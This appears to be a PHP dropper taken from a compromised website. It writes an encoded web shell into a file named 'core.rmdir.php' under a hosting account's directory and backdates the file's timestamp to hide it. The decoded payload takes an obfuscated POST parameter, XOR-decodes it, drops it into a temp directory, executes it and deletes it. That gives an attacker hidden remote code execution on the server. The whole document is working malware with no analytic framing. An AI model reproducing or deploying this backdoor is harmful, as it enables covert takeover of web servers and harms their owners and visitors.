<?php   $p = "/home/drernst/meryl.teamernst.net/core.rmdir.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28filter_has_var%28INPUT_POST%2C%20%22%5Cx65ntr%5Cx79%22%29%29%7B%0A%09%24reference%20%3D%20hex2bin%28%24_REQUEST%5B%22%5Cx65ntr%5Cx79%22%5D%29%3B%0A%09%24resource%20%20%20%3D%20%20%20%20%27%27%20%20%20%20%20%20%3B%20%20%20%20%24q%20%3D%200%3B%20do%7B%24resource%20.%3D%20chr%28ord%28%24reference%5B%24q%5D%29%20%5E%2027%29%3B%24q%2B%2B%3B%7D%20while%28%24q%20%3C%20strlen%28%24reference%29%29%3B%0A%09%24descriptor%20%3D%20array_filter%28%5Bgetenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20session_save_path%28%29%2C%20%22/var/tmp%22%2C%20getcwd%28%29%2C%20%22/dev/shm%22%5D%29%3B%0A%09foreach%20%28%24descriptor%20as%20%24value%29%3A%0A%20%20%20%20%09%09if%20%28max%280%2C%20is_dir%28%24value%29%20%2A%20is_writable%28%24value%29%29%29%20%7B%0A%20%20%20%20%24ref%20%3D%20implode%28%22/%22%2C%20%5B%24value%2C%20%22.property_set%22%5D%29%3B%0A%20%20%20%20if%20%28file_put_contents%28%24ref%2C%20%24resource%29%29%20%7B%0A%09require%20%24ref%3B%0A%09unlink%28%24ref%29%3B%0A%09die%28%29%3B%0A%7D%0A%7D%0Aendforeach%3B%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1755228964); } die('!ended!');